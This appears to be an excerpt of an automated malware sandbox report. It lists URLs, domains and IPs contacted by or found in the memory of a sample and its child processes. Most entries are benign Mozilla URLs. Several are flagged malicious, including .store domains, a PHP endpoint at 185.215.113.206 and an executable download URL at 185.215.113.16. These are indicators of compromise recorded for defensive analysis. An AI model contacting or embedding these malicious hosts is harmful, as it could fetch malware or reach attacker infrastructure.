http://detectportal.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
http://exslt.org/dates-and-times	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://watch.sling.com/	0%	URL Reputation	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	0%	URL Reputation	safe
https://www.avito.ru/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
necklacedmny.store	188.114.97.3	true	true	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.184.238	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://detectportal.firefox.com/	firefox.exe, 00000022.00000002.2901748859.000001F36AED3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2550900709.000001F35A1D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FA72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C86000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/quickSugg	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000022.00000003.2447988783.000001F371E3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F3684B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000022.00000002.2908828534.000001F36B90E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B7EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B90B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/website-translationCannot	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379508618.000001F369C63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379998814.000001F369C83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378951691.000001F369C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2906431489.000001F36B339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A6EA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 00000022.00000002.2876851521.000001F368470000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabledhttp://mozilla.org/#/properties/quickSug	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/0	firefox.exe, 00000022.00000002.2540256661.000000E5CD000000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000022.00000002.2875456684.000001F367760000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000003.2379508618.000001F369C63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378951691.000001F369C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2455337083.000001F36ACF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.	file.exe, 00000000.00000003.1390701285.00000000054D7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php/~	4b41d9dd20.exe, 00000013.00000002.2314305841.000000000192A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://exslt.org/dates-and-times	firefox.exe, 00000022.00000002.2560485237.000001F365861000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000022.00000002.2908828534.000001F36B980000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180toolkit.legacyUserProfileCustomizations.windowIc	firefox.exe, 00000022.00000002.2690546838.000001F3662AB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000022.00000003.2505600482.000001F36B15A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 00000022.00000002.2912955509.000001F36BC3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2450786457.000001F36AA9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2896497516.000001F36AA9D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000022.00000002.2908828534.000001F36B980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2910420277.000001F36BA98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B90E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2531426182.000000000133A000.00000004.00000010.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert	firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s	firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	4b41d9dd20.exe, 00000013.00000002.2312440021.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, 4b41d9dd20.exe, 00000013.00000003.2271033754.00000000053AB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000025.00000000.2371590003.00000000008FC000.00000008.00000001.01000000.00000017.sdmp, 4b41d9dd20.exe, 00000029.00000003.2472215576.00000000051AB000.00000004.00001000.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2513367110.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.16.dr	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/mdnFeatureGateresource://normandy/lib/AddonStudies.sys.mjs	firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2884390196.000001F369B9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447692855.000001F3724EB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000022.00000002.2905653405.000001F36B262000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	6c1c4a36e1.exe, 00000012.00000003.2304546032.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/c	firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000022.00000003.2449943656.000001F36C2AA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369933000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/NetUtil.sys.mjs	firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	false		unknown
